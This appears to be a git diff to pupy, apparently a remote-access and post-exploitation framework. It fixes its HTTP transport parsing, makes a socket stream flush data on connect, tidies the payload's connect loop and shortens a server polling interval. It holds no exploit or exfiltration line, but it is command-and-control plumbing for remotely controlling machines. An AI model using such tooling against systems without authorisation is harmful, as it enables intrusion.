diff --git a/pupy/network/base.py b/pupy/network/base.py
index 58e0a204..eb9a205a 100644
--- a/pupy/network/base.py
+++ b/pupy/network/base.py
@@ -109,9 +109,6 @@ class TransportWrapper(BasePupyTransport):
         #downstream chaining :
         self.insts[0].downstream=self.downstream
         self.insts[0].circuit.downstream=self.downstream
-        #overloading len of buffer with the max of all chained buff
-        #self.upstream.overload_len = (lambda s:max([len(x.upstream.buffer) for x in self.insts]))
-        #self.downstream.overload_len = (lambda s:max([len(x.downstream.buffer) for x in self.insts]))
 
     def on_connect(self):
         for ins in self.insts:
diff --git a/pupy/network/streams/PupySocketStream.py b/pupy/network/streams/PupySocketStream.py
index b33c1e40..3cabdcce 100644
--- a/pupy/network/streams/PupySocketStream.py
+++ b/pupy/network/streams/PupySocketStream.py
@@ -44,7 +44,7 @@ class PupySocketStream(SocketStream):
 
     def on_connect(self):
         self.transport.on_connect()
-        #super(PupySocketStream, self).write(self.downstream.read())
+        super(PupySocketStream, self).write(self.downstream.read())
 
     def _read(self):
         try:
diff --git a/pupy/network/transports/http.py b/pupy/network/transports/http.py
index 8b969830..2789f648 100644
--- a/pupy/network/transports/http.py
+++ b/pupy/network/transports/http.py
@@ -26,6 +26,8 @@ def http_req2data(s):
     if not s.startswith("GET "):
         raise InvalidHTTPReq()
     first_line=s.split("\r\n")[0]
+    if not first_line.endswith(" HTTP/1.1"):
+        raise InvalidHTTPReq()
     method, path, http_ver=first_line.split()
     try:
         decoded_data=base64.b64decode(path[1:])
@@ -101,7 +103,7 @@ class PupyHTTPClient(PupyHTTPTransport):
                         if name=="Content-Length":
                             content_length=int(value)
                             break
-                    if content_length is None:
+                    if content_length is None or len(rest)<content_length:
                         break
                     decoded_data+=base64.b64decode(rest[:content_length])
                     length_to_drain=content_length+4+len(head)
diff --git a/pupy/pp.py b/pupy/pp.py
index 6afc9dff..9b32ac22 100755
--- a/pupy/pp.py
+++ b/pupy/pp.py
@@ -173,7 +173,6 @@ def main():
             pupy.infos['launcher_inst']=launcher
             pupy.infos['transport']=launcher.get_transport()
             rpyc_loop(launcher)
-
         finally:
             time.sleep(get_next_wait(attempt))
             attempt+=1
@@ -187,7 +186,6 @@ def rpyc_loop(launcher):
                     server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
                     s=server_class(BindSlaveService, port=port, hostname=address, authenticator=authenticator, stream=stream, transport=transport, transport_kwargs=transport_kwargs)
                     s.start()
-
                 else: # connect payload
                     stream=ret
                     def check_timeout(event, cb, timeout=10):
diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py
index 76158c23..d2824439 100644
--- a/pupy/pupylib/PupyServer.py
+++ b/pupy/pupylib/PupyServer.py
@@ -331,7 +331,7 @@ class PupyServer(threading.Thread):
         stream=launcher.iterate().next()
         conn=rpyc.utils.factory.connect_stream(stream, PupyService.PupyBindService, {})
         bgsrv=rpyc.BgServingThread(conn)
-        bgsrv.SLEEP_INTERVAL=0.01 # consume ressources but faster response ...
+        bgsrv.SLEEP_INTERVAL=0.001 # consume ressources but faster response ...
          
 
     def run(self):